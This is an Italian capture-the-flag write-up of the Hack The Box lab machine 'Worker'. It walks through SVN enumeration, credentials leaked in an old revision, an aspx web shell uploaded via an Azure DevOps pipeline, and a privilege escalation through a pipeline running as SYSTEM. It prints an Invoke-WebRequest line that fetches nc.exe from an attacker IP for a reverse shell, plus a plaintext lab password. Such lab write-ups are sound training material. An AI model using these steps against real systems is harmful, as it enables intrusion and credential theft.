Worker è una macchina segnata con difficoltà media, ma per chi no ha dimestichezza con con Azure DevOps può risultare anche difficile. Personalmente ho preferito il processo per ottenere la flag di user che quella di root perché non c’è nessun indizio che ti sprona a tornare sul framework di Azure, bisogna tirare ad indovinare.
Enum
Sulla macchina girano dei webserver HTTP e un servizio svn, di subversioning, tipo GitHub.
E’ facile individuare che si tratta di Tortoise SVN collegandosi alla porta 3690 tramite browser e facendo una ricerca su google del messaggio visualizzato.
Do un’occhiata anche ai webserver, faccio delle scansioni con gobuster ma non trovo niente quindi decido di enumerare i sottodomini.
Per prima cosa aggiungo worker.htb al file /etc/hosts.
Con gobuster è possibile fare un bruteforce dizionario sui virtual hosts come segue:
$ goobuster ghost -u http://worker.htb -w /usr/local/share/wordlists/dirbuster/small.txt
alla fine riesco ad enumerare i seguenti sottodomini che però purtroppo non portano a nulla, tranne devops.worker.htb:
#HTB Worker
10.10.10.203 worker.htb
10.10.10.203 alpha.worker.htb
10.10.10.203 cartoon.worker.htb
10.10.10.203 lens.worker.htb
10.10.10.203 solid-state.worker.htb
10.10.10.203 dimension.worker.htb
10.10.10.203 spectral.worker.htb
10.10.10.203 story.worker.htb
10.10.10.203 twenty.worker.htb
10.10.10.203 devops.worker.htbDevOps non è stato trovato da gobuster, bensì attraverso il client di subversioning svn già presente in Kali:
svn list svn://worker.htb
All’interno di moved.txt c’è il seguente messaggio che rimanda a http://devops.worker.htb:
svn cat svn://worker.htb/moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)devops però non è accessibile, infatti accedendo alla pagina web si presenta una basic authentication; devo trovare le credenziali.
Dal momento che ho spulciato in lungo e in largo tutti i sottodomini, è chiaro che devo approfondire l’enumerazione sul server svn.
Il comando seguente mostra chiaramente un utente (nathen) che gestisce il repository:
svn info svn://worker.htb
Inoltre è possibile vedere che ci sono 5 revisioni. Decido di controllare le revisioni precedenti e dopo qualche tentativo, bingo!
svn checkout -r 2 svn://worker.htb
Il file deploy.ps1 viene scaricato e al suo interno è possibile trovare le credenziali di nathen:
User Flag
A questo punto riesco ad entrare in devops.
Adesso è semplice, abbiamo di fronte un servizio tipo GitHub che permette di gestire dei repository e quindi di creare/caricare file. Dal momento che non si dispone delle autorizzazioni per caricare file sul branch master, ho creato un branch slave del repository spectral e ho caricato una cmd shell in aspx che è già presente in Kali. Una volta caricato il file occorre andare su Pipeline, selezionare spectral e lanciare la pull request:
Poi è bastato caricare la pagina sul browser e lanciare comandi:
A questo punto ho scaricato nc.exe sulla box e ho lanciato una reverse shell:
Invoke-WebRequest "http://10.10.xx.xxx:8080/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Faccio un giro all’interno della macchina, enumero un po’ e trovo uno share W:
Al suo interno trovo un file passwd con le credenziali di tutti gli utenti:
All’interno di C:\Users ho visto che che esiste l’utente robisl, quindi mi connetto con wirm dal momento che la porta 5985 è aperta.
evil-winrm -i worker.htb -u robisl -p wolves11
Prendo la flag user.txt di cui ho dimenticato di fare lo screenshot.
Adesso arriva la parte noiosa, tutto ciò che riguarda Azure DevOps è noioso, perché non lo so usare, perché non lo voglio usare è perché è un mattone pesante. Quindi sarò molto breve.
Si enumera il mondo con la nuova utenza senza trovare niente quindi casualmente si prova a riaccedere a DevOps con le nuove credenziali, funzionano.
Root Flag
Con questa utenza è possibile creare delle Pipelines, alla fine delle pipelines c’è un file .yaml che viene elaborato dal sistema ed è in grado di eseguire degli script, comandi cmd scritti al suo interno.
Per creare una pipeline:
A questo punto girarsi i pollici finché il mattone non ha completato. Visualizzando l’output di Run a one-line script è possibile vedere che il servizio gira come nt authority\system
Basta ripetere la procedura per leggere il flag di root. Se uno è sadico prova a prendere la reverse. Io ne avevo abbastanza e mi sono fermato alla flag!
La box è carina ma non è stata il massimo secondo me. Azure è molto lento e frustrante. Inoltre se enumerando i processi fosse stato possibile vedere che l’agent di Azure girava come utente privilegiato, forse si evitava di dover indovinare il fatto che fosse necessario tornare sul portale Azure DevOps con la nuova utenza.